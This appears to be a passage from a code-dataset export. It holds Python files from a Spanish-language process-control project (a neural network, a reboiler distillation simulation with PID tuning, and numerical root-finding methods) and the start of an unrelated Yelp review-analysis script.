pruebas'\nfor prueba in range(numero_de_perturbaciones):\n perturbacion=set_de_perturbaciones[prueba]\n t1=time.time()\n print '--------------------------------\\nPerturbación:',prueba+1\n Lvar=perturbacion+Lvar0\n# plt.plot(Lvar)\n# plt.show()\n AGS.Fobj(Reboiler,Lvar)\n print 'Inicio correcto del AG'\n resultados=AGS.start()\n t2=time.time()\n #Reboiler(resultados[0],Lvar,plot=1)\n with open(archivo,'a') as f:\n res0str=[str(x) for x in Lvar]\n res1str=[str(x) for x in perturbacion]\n res2str=[str(x) for x in resultados[0]]\n w='<pert>'+','.join(res0str)+'</pert> <pert0>'+','.join(res1str)+\\\n '</pert0> <par>'+','.join(res2str)+'</par>\\n'\n f.write(w)\n #tabla_resultados.append([Lvar,set_de_perturbaciones[prueba],resultados[0]]) \n \n print 'Tiempo por prueba:',(t2-t1)/60,' error:',resultados[1]\n\nwith open(archivo,'a') as f:\n f.write('</prueba>')\n\n"
},
{
"alpha_fraction": 0.4901215732097626,
"alphanum_fraction": 0.5055091381072998,
"avg_line_length": 29.771930694580078,
"blob_id": "2b84ea45352c3e071fca59225f0768cebd1028ac",
"content_id": "c0f5fb52c775f7172e054970fdc6f6d053ffbff9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5271,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 171,
"path": "/RN.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 16 18:40:50 2015\n\n@author: carlos\n\"\"\"\n\nimport numpy as np\n\n\nclass RN(object):\n \n def __init__(self,deb=False):\n self.deb=deb\n ## Parámetros de red:\n self.bias=-1\n \n ##Matrices extra\n# self.xelim=[]\n# self.xenorm=[]\n# self.yelim=[]\n# self.yenorm=[]\n self.nxe=None;self.nye=None\n \n self.sig= lambda mat: 1/(1+np.exp(-mat))\n \n def parametros(self,arq=None,W=None,arq_io=None):\n self.arq=arq\n self.W=W\n if arq_io:\n self.arq.insert(0,arq_io[0])\n self.arq.append(arq_io[1])\n self.N=len(self.arq)\n \n\n\n def datosEnt(self,datos):\n self.xe=datos[0];self.ye=datos[1]\n #Se verifica que el numero de variables en cada conjunto de datos sea el mismo y se almacena\n self.nxe,mx=verificarDatosEnt(self.xe);self.nye,my=verificarDatosEnt(self.ye)\n if mx!=my:\n raise ValueError('Diferente numero de muestras en x-y')\n self.m=mx#Se almacena el número de muestras de los datos\n# almacenar(self.xe,self.xenorm,self.xelim)\n# almacenar(self.ye,self.yenorm,self.yelim)\n #Se almacena el número de variables por observación\n# self.nxe=len(self.xe[0])\n# self.nye=len(self.ye[0])\n if self.deb:print('No. DatEnt:',self.xe,'-',self.ye)\n self.arq.insert(0,self.nxe)\n self.arq.append(self.nye)\n self.N=len(self.arq)\n \n def generarPesos(self,seed=None):\n ## Generación de los pesos:\n np.random.seed(seed)\n self.W=dict()\n for capa in range(1,self.N):\n nxcapa=self.arq[capa]\n nxcapa_anterior=self.arq[capa-1] \n #print nxcapa, nxcapa_anterior\n self.W[str(capa)]=np.random.random([nxcapa,nxcapa_anterior+1])\n #print w[str(capa)]\n \n \n def FP(self,W=None,xi=None):\n Ys=list()#Lista para almacenar las salidas de cada capa\n yi=list()\n self.error=0\n if not W:\n W=self.W\n if not isinstance(xi,np.ndarray):\n xi=self.xe\n ## Propagación hacia adelante\n for m in range(len(xi)): #Por cada serie de datos de entrenamiento\n if self.deb:print('\\nMuestra%d'%(m+1))\n Ys.append(list())#Se agrega una nueva lista donde almacenar las salidas\n for i in range(1,self.N):#Por cada capa posterior a la primera\n \n if self.deb:print('\\nFP:',i)\n if i==1:#si es la segunda capa se reciben los datos de entrada en xe\n x=xi[m]\n# x=list()#Se crea la lista de datos de entrada\n# for j in range(self.nxe):\n# x.append(self.xe[m][j]) \n else:\n x=Ys[m][i-2]\n \n x=np.append(x,[self.sig(self.bias)])\n v=np.dot(W[str(i)],np.array(x))\n y=self.sig(v)[0]\n \n Ys[m].append(y)\n if self.deb:print('x{}{}: {}'.format(m,i,x))\n if self.deb:print('Pesos\\n',W[str(i)])\n if self.deb:print('y{}{}: {}'.format(m,i,Ys[m][i-1]))\n \n if self.nye: \n for y in range(self.nye):\n yred=Ys[m][-1][y]\n ye=self.ye[m][y]\n er=0.5*(yred-ye)**2\n self.error+=er\n if self.deb:print('Error{}-> red:{:.4f} - ent:{:.4f} - error:{:.4f}'.format(y,yred,ye,er))\n \n yi.append(Ys[m][-1])\n\n if self.deb:print('Error Tot',self.error)\n return(yi,self.error)\n \n \n \n#def almacenar(datos,norm,lim,cont=0):\n# print('Datos',datos,type(datos[0]))\n# if isinstance(datos[cont],(np.float32,np.float64,np.int32,np.int64,)): \n# lim.append([min(datos),max(datos)])\n# norm.append((datos-lim[cont][0])/(lim[cont][1]-lim[cont][0]))\n# elif isinstance(datos[0],np.ndarray):\n# for i in range(len(datos)):\n# almacenar(datos[i],norm,lim,cont=i)\n \ndef verificarDatosEnt(datos):\n l=None\n m=0\n for i in datos:\n li=len(i)\n if not l:\n l=li\n else:\n if li!=l:\n raise ValueError('La configuración de los datos no es la misma')\n break\n m+=1\n return(l,m)\n \ndef dimensionarMatricesPesos(arq):\n matrices=[]\n nPesos=0\n for i in range(1,len(arq)):\n matrices.append((arq[i],arq [i-1]+1))\n nPesos+=arq[i]*(arq[i-1]+1)\n \n return(matrices,nPesos)\n \ndef redimensionarPesos(pesos,estructura):\n W=dict()\n lant=0\n cont=1\n for i in estructura:\n W[str(cont)]=list()\n l=i[0]*i[1]\n W[str(cont)].append(np.reshape(pesos[lant:lant+l],i))\n lant+=l;cont+=1\n \n return(W)\n \n\n \nif __name__=='__main__':\n print('Hola :D')\n\n xe=np.array([[0.1],\n [0.9]])\n ye=np.array([[0.05],[0.1]])\n red=RN(True)\n red.parametros(arq=[2,2])\n red.datosEnt((xe,ye))\n red.generarPesos(1)\n print('Arquitectura:',red.arq)\n y,err=red.FP()\n print(err)\n\n\n"
},
{
"alpha_fraction": 0.4797240197658539,
"alphanum_fraction": 0.5547719597816467,
"avg_line_length": 39.00306701660156,
"blob_id": "69ccec446250ef4e83ae149ff74f13341d1c1cc6",
"content_id": "1c12bc2b9a2eb00853ae21317f7b0bf07bcdde05",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13078,
"license_type": "no_license",
"max_line_length": 153,
"num_lines": 326,
"path": "/ModeloReboiler.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 3 21:08:01 2016\n\n@author: root\n\"\"\"\nfrom __future__ import division\nimport numpy\nimport numericos\nimport matplotlib\n#import matplotlib.pyplot as plt\n\ndef Reboiler(Controladores,Lvar,\n mezcla=('C8','C10'),dt=0.01,plot=0,delay=0):\n ##Base de datos de los compuestos a utilizar. datos obtenidos de:\n ## Perry R. (2010) \"Manual del Ingeniero Quimico\" 7Ed. McGraw-Hill:España\n ## Datos de Alcanos y Agua\n bd_subs={\n 'C8':{'Pvap':(96.084,-7900.2,-11.003,7.1802e-6,2), #Perry 2-55\n 'Dens':(0.53731,0.26115,568.7,0.28034), #Perry 2-101\n 'Lamvap':(5.518e7,0.38467,0,0), #Perry 2-163\n 'Cp':(2.2483e5,-1.8663e2,9.5891e-1,0,0), #Perry 2-177\n 'Tc':568.7,#K #Perry 2-55\n 'MM':114.231 ##kg/kmol\n },\n 'C9':{'Pvap':(109.35,-9030.4,-12.882,7.8544e-6,2),\n 'Dens':(0.48387,0.26147,594.6,0.28281),\n 'Lamvap':(6.037e7,0.38522,0,0),\n 'Cp':(3.8308e5,-1.1398e3,2.7101,0,0),\n 'Tc':594.6,#K\n 'MM':128.258 ##kg/kmol\n },\n 'C10':{'Pvap':(112.73,-9749.6,-13.245,7.1266e-6,2),\n 'Dens':(0.42831,0.25795,617.7,0.28912),\n 'Lamvap':(6.6126e7,0.39797,0,0),\n 'Cp':(2.7862e5,-1.9791e2,1.0737,0,0),\n 'Tc':617.7,#K\n 'MM':142.285 ##kg/kmol\n },\n 'H2O':{'Pvap':(73.649,-7258.2,-7.3037,4.1653e-6,2),\n 'Lamvap':(5.2053e7,0.3199,-0.212,0.25795),\n 'Cp':(2.7637e5,-2.0901e3,8.125,-1.4116e-2,9.3701e-6),\n 'Tc':647.13,#K\n 'MM':18.015 ##kg/kmol\n },\n 'EtOH':{'Pvap':(74.475,-7164.3,-7.327,3.134e-6,2),\n 'Lamvap':(5.69e7,0.3359,0,0),\n 'Cp':(1.0264e5,-1.3963e2,-3.0341e-2,2.0386e-3,0),\n 'Tc':513.92,#K\n 'MM':46.069 ##kg/kmol\n }\n } \n \n ## La temperatura esta dada en Kelvin\n \n def Densidad(substancia,T):## Función para calcular la densidad\n C1,C2,C3,C4=bd_subs[substancia]['Dens']\n return C1/C2**(1+(1-T/C3)**C4) ## kmol/m3\n \n def Cp(substancia,T):## Función para calcular el Cp\n C1,C2,C3,C4,C5=bd_subs[substancia]['Cp']\n return C1+C2*T+C3*T**2+C4*T**3+C5*T**4 ## kJ/(kmol K)\n \n def Lamvap(substancia,T):## Función para calcular el calor de vaporización\n C1,C2,C3,C4=bd_subs[substancia]['Lamvap']\n Tc=bd_subs[substancia]['Tc']; Tr=T/Tc\n return (C1*(1-Tr)**(C2+C3*Tr+C4*Tr**2))#/1000 ## kJ/kmol\n \n def Entalpia(substancia,T): ## Funcion para calcular la entalpia\n C1,C2,C3,C4,C5=bd_subs[substancia]['Cp']\n return C1*T+C2*T**2/2.+C3*T**3/3.+C4*T**4/4.+C5*T**5/5. ## kJ/kmol\n \n def Pvap(substancia,T): ## Funcion para calcular la presión de vapor\n C1,C2,C3,C4,C5=bd_subs[substancia]['Pvap']\n return numpy.exp(C1+C2/T+C3*numpy.log(T)+C4*T**C5) ## Pa\n \n def F_alpha(mezcla,T): ## Calculo de la volatilidad relativa\n Pvap1=Pvap(mezcla[0],T);Pvap2=Pvap(mezcla[1],T)\n return Pvap1/Pvap2\n \n def Ponderacion(Prop1,Prop2,x1): ## Pondera para obtener propiedades de mezcla\n return (Prop1-Prop2)*x1+Prop2\n \n ## Funcionas propias para la destilación\n def TempEbullicion(subs,x1=1,T0=300.,Pt=101325.): ##La presion debe ser dada en Pa\n def Funcion_objetivo(T):## Funcion objetivo, será pasada como argumento al\n ## buscador de ceros \n if isinstance(subs, tuple): ##Si hay 2 compuestos\n Pvap1=Pvap(subs[0],T)\n Pvap2=Pvap(subs[1],T)\n return (Pt-Pvap2)/(Pvap1-Pvap2)-x1 ## Condicion de equilibrio\n else: ## Si solo hay un compuesto\n return Pvap(subs,T)-Pt##Condicion de equilibrio para un compuesto\n ## Uso del metodo numerico de la Falsa Posicion, se usa este ya que falla\n ## menos que el Newton-Raphson al encontrar la raíz y se especifica desde\n ## un inicio el intervalo en el que se está operando-> T0,T0+100K\n if isinstance(subs,tuple):\n ## Se comienza con una aproximacion de la temperatura de ebullicion\n ## del componente más volátil\n T0_metodo=TempEbullicion(subs[0],T0=T0,Pt=Pt)\n return numericos.FalsaPosicion(Funcion_objetivo,T0_metodo,T0_metodo+100)\n else:\n return numericos.FalsaPosicion(Funcion_objetivo,T0,T0+100)\n \n def Equilibrio(x,alpha): ##Equilibrio líquido-vapor de mezcla\n return alpha*x/(1+(alpha-1)*x) \n \n ###############################################################################\n def Er_rel(a,b): ##Función de error relativo\n return(2*abs(a-b)/(abs(a)+abs(b)))\n \n def RK4(vals,paso):\n M0,x0,h0,Q0,intM0=vals\n #Calculo con Euler\n M_E=M0+paso*dMdt(*vals)\n x_E=x0+paso*dxdt(*vals)\n h_E=h0+paso*dhdt(*vals)\n Q_E=Q0+paso*dQdt(*vals)\n #Cálculo de todas las k1 \n k11=dMdt(*vals);k12=dxdt(*vals);k13=dhdt(*vals);k14=dQdt(*vals)\n #Se calculan los valores de los trapecios\n M_1_2=(Mref-M0)+paso*k11/2.;intM1=(M0+M_1_2)*paso/4.\n #Cálculo de todas las k2\n vals1=(M0+paso*k11/2.,x0+paso*k12/2.,h0+paso*k13/2.,Q0+paso*k14/2.,intM1)\n k21=dMdt(*vals1);k22=dxdt(*vals1);k23=dhdt(*vals1);k24=dQdt(*vals1)\n #Cálculo de todas las k3\n vals2=M0+paso*k21/2.,x0+paso*k22/2.,h0+paso*k23/2.,Q0+paso*k24/2.,intM1\n k31=dMdt(*vals2);k32=dxdt(*vals2);k33=dhdt(*vals2);k34=dQdt(*vals2)\n #Se calculan los valores de los trapecios de la segunda parte\n M1=M_1_2+paso*k11/2.;intM2=(M1+M_1_2)*paso/4.;n_intM=intM1+intM2 \n #Cálculo de todas las k4\n vals3=M0+paso*k31/2.,x0+paso*k32/2,h0+paso*k33/2.,Q0+paso*k34/2.,n_intM\n k41=dMdt(*vals3);k42=dxdt(*vals3);k43=dhdt(*vals3);k44=dQdt(*vals3)\n \n dM=paso*(k11+2*k21+2*k31+k41)/6.\n dx=paso*(k12+2*k22+2*k32+k42)/6.\n dh=paso*(k13+2*k23+2*k33+k43)/6.\n dQ=paso*(k14+2*k24+2*k34+k44)/6.\n \n M_RK4=M0+dM;x_RK4=x0+dx;h_RK4=h0+dh;Q_RK4=Q0+dQ\n \n errores=(Er_rel(h_E,h_RK4),\n Er_rel(M_E,M_RK4),\n Er_rel(Q_E,Q_RK4),\n Er_rel(x_E,x_RK4))\n error_max=max(errores)\n #print 'Errores',errores\n return(error_max,M_RK4,x_RK4,h_RK4,Q_RK4,n_intM)\n \n def Recur(vals,paso,recursion=0,tol=.1):\n if recursion>=50: ## muúmero máximo de recursiones\n return(None)\n if recursion: ## Si ya es una recursion se repite 2 veces\n repeticiones=2\n else: ## Sino sólo se repite 1\n repeticiones=1\n \n for dummy_i in range(repeticiones):\n resRK4=RK4(vals,paso)\n if resRK4[0]<=tol: ## Si el error es menor a la tolerancia\n vals=resRK4[1:] ## Actualización de los valores\n else: ## Sino se hace una recursion partiendo a la mitad el paso\n vals=Recur(vals,paso/2,recursion+1,tol)\n #print resRK4[0]\n \n return(vals)\n \n ###############################################################################\n ## Ecuaciones diferenciales para modelado del sistema\n def dMdt(M,x,h,Q,intM):\n return L-(Evap*Q/LamvapMezcla+B)\n \n def dxdt(M,x,h,Q,intM):\n return (L*(x_L-x)+Evap*Q/LamvapMezcla*(x-y))/M\n \n def dhdt(M,x,h,Q,intM):\n return (L*(h_L-h)+Evap*Q/LamvapMezcla*(h-H)+Q)/M\n \n def dQdt(M,x,h,Q,intM):\n return -LamvapH2O*kc*(Mref-M\\\n -tau_D*(L-(Evap*Q/LamvapMezcla+B))\\\n +tau_I*intM)\n \n ###############################################################################\n #######################INICIO DE LA SIMULACION#################################\n ###############################################################################\n \n substancia1=mezcla[0]\n substancia2=mezcla[1]\n Pt=101325 # Pa\n ## Condiciones iniciales:\n x_L=0.6 #kmol/min\n T_L=412 # K\n ## Si se considera que la capacidad calorifica permanece constante, entonces\n ## podemos tomar el valor C1 de las constantes para el cálculo del Cp\n Cp1=bd_subs[substancia1]['Cp'][0];Cp2=bd_subs[substancia2]['Cp'][0]\n Cp_L=Ponderacion(Cp1,Cp2,x_L) \n ## De esta manera entonces podemos calcular la entalpia\n h_L=Cp_L*T_L\n #print h_L\n '''\n Método anterior para calcular entalpías y Cps...\n h_L1=Entalpia(substancia1,T_L);h_L2=Entalpia(substancia2,T_L)\n h_L=Ponderacion(h_L1,h_L2,x_L) #kJ/kmol\n print h_L\n \n Cp1=Cp(substancia1,T_L);Cp2=Cp(substancia2,T_L);CpMez=Ponderacion(Cp1,Cp2,x_L)\n CpMez=h_L/T_L\n '''\n ## Datos iniciales para el vapor de calentamiento\n Q=4.5e8;LamvapH2O=Lamvap('H2O',TempEbullicion('H2O',Pt=2*Pt)) # kJ/kmol\n \n Teb=TempEbullicion(mezcla,x_L,Pt=Pt) ## Temperatura de ebullicion de la mezcla \n M=30;B=10 #kmol/min\n x=0.445\n T=Teb## Para que la mezcla se encuentre en su punto de ebullicion\n ## Si se considera que la capacidad calorifica permanece constante, entonces\n ## podemos tomar el valor C1 de las constantes para el cálculo del Cp\n CpMez=Ponderacion(Cp1,Cp2,x)\n h=CpMez*T\n y=Equilibrio(x,F_alpha(mezcla,T))\n \n ## Cálculo de la entalpia de vaporizacion \n LamvapM1=Lamvap(substancia1,T);LamvapM2=Lamvap(substancia2,T)\n LamvapMezcla=Ponderacion(LamvapM1,LamvapM2,x) # kJ/kmol\n #print '{:.4e} - {:.4e} - T:{}'.format(h_L1,h_L2,h_L/CpMez)\n #print 'Teb Volatil:',TempEbullicion(substancia1,Pt=Pt),' Teb Mezcla',Teb\n #print LamvapMezcla,LamvapH2O,h\n ## Cálculo de la entalpia del vapor. Se le suma la entalpia de vaporizacion\n ## a la entalpia del líquido\n H=h+LamvapMezcla # kJ/kmol\n \n Evap=1 # Bandera que indica si hay evaporación\n \n intM=0 # Valor de la integral de (Mref-M)\n \n ## Constantes de control\n kc,tau_D,tau_I=1,.5,.5 ; parametros_iniciales=True\n Mref=30\n \n \n ## Desarrollo de la simulación\n t=0\n t_l,M_l,B_l,V_l,x_l,T_l,Teb_l,Q_l,LVM_l,y_l=[t],[M],[B],[Q/LamvapMezcla],[x],[T],[Teb],[Q],[LamvapMezcla],[y]\n \n #T_p=np.linspace(500,600,100)\n #plt.plot(T_p,Lamvap(substancia1,T_p))\n #plt.show()\n \n \n #print '{:^5}|{:^8}|{:^8}|{:^8}|{:^8}|{:^8}|{:^8}'.format('t','M','h','Q','V','T','LVM')\n \n for i in range(len(Lvar)):\n if i>len(Lvar)*delay and parametros_iniciales:\n kc,tau_D,tau_I=Controladores; parametros_iniciales=False\n \n L=Lvar[i]\n if T>Teb:\n Evap=1\n else:\n Evap=0\n \n # Cp1=Cp(substancia1,T);Cp2=Cp(substancia2,T);CpMez=Ponderacion(Cp1,Cp2,x)\n # print 'CpMez 1:{} ; 2:{}'.format(Cp1,Cp2) \n # print 'LamvapMez 1:{} ; 2:{}'.format(LamvapM1,LamvapM2)\n # print 'Temperatura:',T\n \n #if i%int(len(Lvar)*.1)==0:print '{:^5}|{:^8.2f}|{:^6.2e}|{:^6.2e}|{:^6.2e}|{:^8.2f}|{:^6.2e}'.format(t,M,h,Q,Evap*Q/LamvapMezcla,T,LamvapMezcla)\n \n M,x,h,Q,intM=Recur((M,x,h,Q,intM),paso=dt,tol=0.001)\n \n if M>=50:\n M=50\n elif M<=0:\n M=0.0001\n \n if Q<=0:#Seguro por si Q es negativo\n Q=0\n elif Q/LamvapMezcla>=20:#Y por si el flujo de vapor pasa del máximo\n Q=20*LamvapMezcla #No podrá ingresar mayor cantidad de calor al sistema\n \n t+=dt\n t_l.append(t);M_l.append(M);B_l.append(B);x_l.append(x)\n V_l.append(Evap*Q/LamvapMezcla);Teb_l.append(Teb);Q_l.append(Q)\n LVM_l.append(LamvapMezcla);y_l.append(y)\n if T==0:\n T_l.append(T_l[-1])\n else:\n T_l.append(T)\n \n ## Actualizacion de los valores iniciales\n CpMez=Ponderacion(Cp1,Cp2,x)\n T=h/CpMez\n #if i%int(tf/dt*.1)==0:print (L*(h_L-h)+Evap*Q/LamvapMezcla*(h-H)+Q)/M\n Teb=TempEbullicion(mezcla,x_L,Pt=Pt) \n y=Equilibrio(x,F_alpha(mezcla,T))\n # LamvapM1=Lamvap(substancia1,T);LamvapM2=Lamvap(substancia2,T)\n # LamvapMezcla=Ponderacion(LamvapM1,LamvapM2,x)\n H=h+LamvapMezcla\n \n \n if plot:\n plt=matplotlib.pyplot\n plt.figure(figsize=(100,100))\n plt.subplot(2,2,1);plt.grid();plt.title('Flujos Molares')\n plt.plot(t_l,M_l,t_l,B_l,t_l,V_l,t_l[:-1],Lvar)#,t_l,numpy.array(V_l)+B_l)\n plt.subplot(2,2,2);plt.grid();plt.title('Fraccion molar')\n plt.plot(t_l,x_l,t_l,y_l)\n plt.subplot(2,2,3);plt.grid();plt.title('Temperaturas')\n plt.plot(t_l,T_l,t_l,Teb_l)\n plt.subplot(2,2,4);plt.grid();plt.title('Calores')\n plt.plot(t_l,Q_l,t_l,LVM_l)\n plt.show()\n \n return numpy.trapz(numpy.abs(numpy.array(M_l)-Mref))+\\\n numpy.log10(numpy.sum(numpy.abs(numpy.diff(M_l))+\\\n numpy.abs(numpy.diff(V_l))+numpy.abs(numpy.diff(Q_l))))+\\\n sum((kc,tau_D,tau_I))\n\nif __name__=='__main__':\n dt=0.01\n tf=10\n Lvar=numpy.random.random(int(tf/dt))*2-1+15\n controladores=(2,.5,.5)\n reb=Reboiler(controladores,Lvar,dt=dt,plot=1)\n print reb\n "
},
{
"alpha_fraction": 0.5830097198486328,
"alphanum_fraction": 0.6111650466918945,
"avg_line_length": 29.842105865478516,
"blob_id": "dee479a35892cecc5c06462690b519cdfaf71b02",
"content_id": "0f8a20839bcd683382da2be139a30710a80baaff",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4122,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 133,
"path": "/Main2.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 14 12:45:43 2015\n\n@author: carlosaranda\nPrueba final Red Neuronal para control\n\"\"\"\nimport re\nfrom columna2 import reboiler\nfrom RN2 import RedNeuronal, redimensionarPesos, dimensionarMatricesDePesos\nimport numpy as np\nfrom Subrutinas import Perturbaciones, denorm, norm\nimport matplotlib.pyplot as plt\n\n\nwith open('pruebasent.txt','r') as f:\n archivo=f.read()\n \n\ncont=-1\npesos=re.findall('\\<pesos\\>([-\\d.,]+)',archivo)[0]\nestructura=re.findall('\\<estructura\\>([\\d,]+)',archivo)[0]\ninterx=float(re.findall('\\<interx\\>([-\\d.]+)',archivo)[0])\nintery=float(re.findall('\\<intery\\>([-\\d.]+)',archivo)[0])\ndt=float(re.findall('\\<dt\\>([-\\d.]+)',archivo)[0])\n\npesos=[float(x) for x in pesos.split(',')]\nestructura=[int(x) for x in estructura.split(',')]\n'''\nSe inicializa el reboiler con todos sus parámetros\n'''\nn_perts=20\nset_de_perturbaciones=Perturbaciones((0,1),n_perts=n_perts)\nLvar=[]\nbase=20\nfor i in range(2*n_perts):\n if i%1000==3:\n for k in set_de_perturbaciones[int(i/2)]:\n Lvar.append(k+base)\n else:\n Lvar0=(np.random.rand(int(1/dt))*2-1)*.1+base\n for k in Lvar0:\n Lvar.append(k)\n base=Lvar[-1]\n \nplt.plot(Lvar)\nplt.show()\n#se añaden las perturbaciones\n\n'''\nSe inicia la red neuronal\n'''\nar=estructura[1:-1]\nneurodos_entrada_salida=(estructura[0],estructura[-1])\nred=RedNeuronal(estructura=ar,neurodos_entrada_salida=neurodos_entrada_salida)\n\nest,nPesos=dimensionarMatricesDePesos(red.estructura)\nW=redimensionarPesos(pesos,est)\n\nreb=reboiler()\nreb.condini()\nt=0\nMl,Bl,Vl,tl,Tl,xli,kc,td=[reb.M],[reb.B],[reb.V],[t],[reb.T],[reb.x],[reb.kcq],[reb.tdq]\nfor i in range(len(Lvar)):\n t+=dt\n reb.L=Lvar[i]\n reb.actualizar(t,dt)\n Ml.append(reb.M),Bl.append(reb.B),Vl.append(reb.V),Tl.append(reb.T)\n tl.append(t),xli.append(reb.x),kc.append(reb.kcq),td.append(reb.tdq)\n if i < int(1/dt):\n continue\n else:\n ventana=[Lvar[i-int(1/dt):i]]\n ventana_norm=norm(ventana,(interx+20,20-interx))\n y=red.FP(pesos=W,xi=ventana)[-1]\n reb.kcb,reb.tdb,reb.kcq,reb.tdq=denorm(y,(intery,0))\n \n if i%1000==0:\n plt.figure(figsize=(16,10))\n \n plt.subplot(2,2,1);plt.grid(True)\n plt.plot(tl[i-int(1/dt):i],Ml[i-int(1/dt):i],'b.',label='Acumulacion')\n plt.plot(tl[i-int(1/dt):i],Bl[i-int(1/dt):i],'g.',label='Fondos')\n plt.plot(tl[i-int(1/dt):i],Vl[i-int(1/dt):i],'r.',label='Vapor')\n plt.xlabel('tiempo');plt.ylabel('kg/min')\n #plt.legend(loc=4)\n \n plt.subplot(2,2,2);plt.grid(True)\n plt.title('Control Proporcional')\n plt.plot(tl[i-int(1/dt):i],kc[i-int(1/dt):i],'b.')\n plt.xlabel('tiempo');plt.ylabel('Var Prop')\n \n plt.subplot(2,2,3);plt.grid(True)\n plt.title('Perturbacion')\n plt.plot(tl[i-int(1/dt):i],ventana_norm[0])#Lvar[i-int(1/dt):i])\n plt.xlabel('tiempo');plt.ylabel('Flujo de entrada')\n \n plt.subplot(2,2,4);plt.grid(True)\n plt.title('Control Derivativo')\n plt.plot(tl[i-int(1/dt):i],td[i-int(1/dt):i],'b.')\n plt.xlabel('tiempo');plt.ylabel('Var Derivativa')\n \n plt.show()\n\nprint('Graficando la simulacion')\nplt.figure(figsize=(16,10))\n \nplt.subplot(2,2,1);plt.grid(True)\nplt.xlim((0,2*n_perts))\nplt.plot(tl,Ml,'b.',label='Acumulacion')\nplt.plot(tl,Bl,'g.',label='Fondos')\nplt.plot(tl,Vl,'r.',label='Vapor')\nplt.xlabel('tiempo');plt.ylabel('kg/min')\n#plt.legend(loc=4)\n\nplt.subplot(2,2,2);plt.grid(True)\nplt.xlim((0,2*n_perts))\nplt.title('Control Proporcional')\nplt.plot(tl,kc,'b.')\nplt.xlabel('tiempo');plt.ylabel('control proporcional')\n\nplt.subplot(2,2,3);plt.grid(True)\nplt.title('Perturbacion')\nplt.plot(norm(Lvar,(interx+20,20-interx)))\nplt.xlabel('tiempo');plt.ylabel('Flujo de entrada')\n\nplt.subplot(2,2,4);plt.grid(True)\nplt.xlim((0,2*n_perts))\nplt.title('Control derivativo')\nplt.plot(tl,td,'b.')\nplt.xlabel('tiempo');plt.ylabel('X')\n\nplt.show()\n \n \n"
},
{
"alpha_fraction": 0.42571619153022766,
"alphanum_fraction": 0.4783477783203125,
"avg_line_length": 20.753623962402344,
"blob_id": "8eed0a705b163a68a08913eb7f749fb700e1d22e",
"content_id": "b5d531a7c48860a447902182c02d1c84c8a0f992",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1504,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 69,
"path": "/numericos.py",
"repo_name": "Lugiax/AutomaticControl",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 23 19:07:23 2015\n\nCompilación de métodos numéricos\n\n@author: carlos\n\"\"\"\nfrom __future__ import division\n\ndef newton(f,x0,it=20,dstep=0.0001):\n x=x0\n for i in range(it):\n df=(f(x+dstep)-f(x-dstep))/dstep\n if df==0:\n break\n x=x-f(x)/df\n #print 'Nuevo valor:',x\n return(x)\n\ndef FalsaPosicion(f,x1,x2,xr=0,it=40,tol=1e-5):\n f1=f(x1)\n f2=f(x2)\n repeticiones1=0;repeticiones2=0\n for i in range(it):\n xr_viejo=xr\n xr=x2-(f2*(x1-x2))/(f1-f2)\n error=abs((xr_viejo-xr)/xr)\n fr=f(xr)\n comprobacion=f1*fr\n if comprobacion<0:\n x2=xr;f2=fr\n repeticiones2=0\n repeticiones1+=1\n if repeticiones2==2: f1=f1/2\n elif comprobacion>0:\n x1=xr;f1=fr\n repeticiones1=0\n repeticiones2+=1\n if repeticiones1==2: f2=f2/2\n else:\n error=0\n \n if error<=tol:\n break\n \n return xr\n \n \n \ndef Euler(f, x=0,t=0, step=0.1, inter=[0,10]):\n if isinstance(f, (tuple, list)):\n print('Functions')\n else:\n print('function')\n xlist=[]\n tlist=[]\n \n for i in range(inter[0], int(inter[1]/step)): \n x+=f(x,t)*step\n t=step\n xlist.append(x)\n tlist.append(t)\n \n return(tlist,xlist)\n\n\nif __name__ == '__main__':\n pass\n"
}
] | 9 |
rjm2895/practice | https://github.com/rjm2895/practice | b44f4fb26f00d1007b43fbd41af742e78fb4a512 | cd474d0d9c262e361818ebecd764bd11025754ea | 41a6f17b4c623b48251d1b448c2ef68e7e5632c0 | refs/heads/master | 2020-04-15T16:12:19.818294 | 2015-05-19T23:31:03 | 2015-05-19T23:31:03 | 35,914,026 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.48995456099510193,
"alphanum_fraction": 0.5154972076416016,
"avg_line_length": 26.6675968170166,
"blob_id": "b19656d31e32af8ddccfab8214fbc1a1da3b47c3",
"content_id": "bc38c2daaf40f57c8ff4421f237b51522c6214c4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9905,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 358,
"path": "/main.py",
"repo_name": "rjm2895/practice",
"src_encoding": "UTF-8",
"text": "import cx_Oracle\nimport sys\nimport operator\n\n\ndef main():\n a = 0\n a = input('1. Find Average and Stand Deviation for Review length\\\nand percent of reviews above/below number inputed number\\n\\\n2. Find Average Stars for Users that give lengthier/shorter Reviews \\n\\\n3. Find Average Star Difference between Business averages\\\nand Longer/Shorter review stars \\n\\\n4. Words in text analysis \\n\\\n5. predictor \\n\\\nInput: ')\n if a == 1:\n n = input('Review Length: ')\n m = input('1 for below and 2 for above: ')\n revlength(n,m)\n elif a == 2:\n averagestars()\n elif a == 3:\n n = input('Longer Review #: ')\n m = input('Shorter Review #: ')\n business(n,m)\n elif a == 4:\n n = input('option string, stars, both')\n if n == 'string':\n a = input('enter string: ')\n words(a)\n elif n == 'stars':\n a = input('enter number as string :')\n words1(a)\n elif n == 'both':\n a= input('enter number as string :')\n b= input('enter string: ')\n words2(a,b)\n else:\n main()\n elif a == 5:\n a = 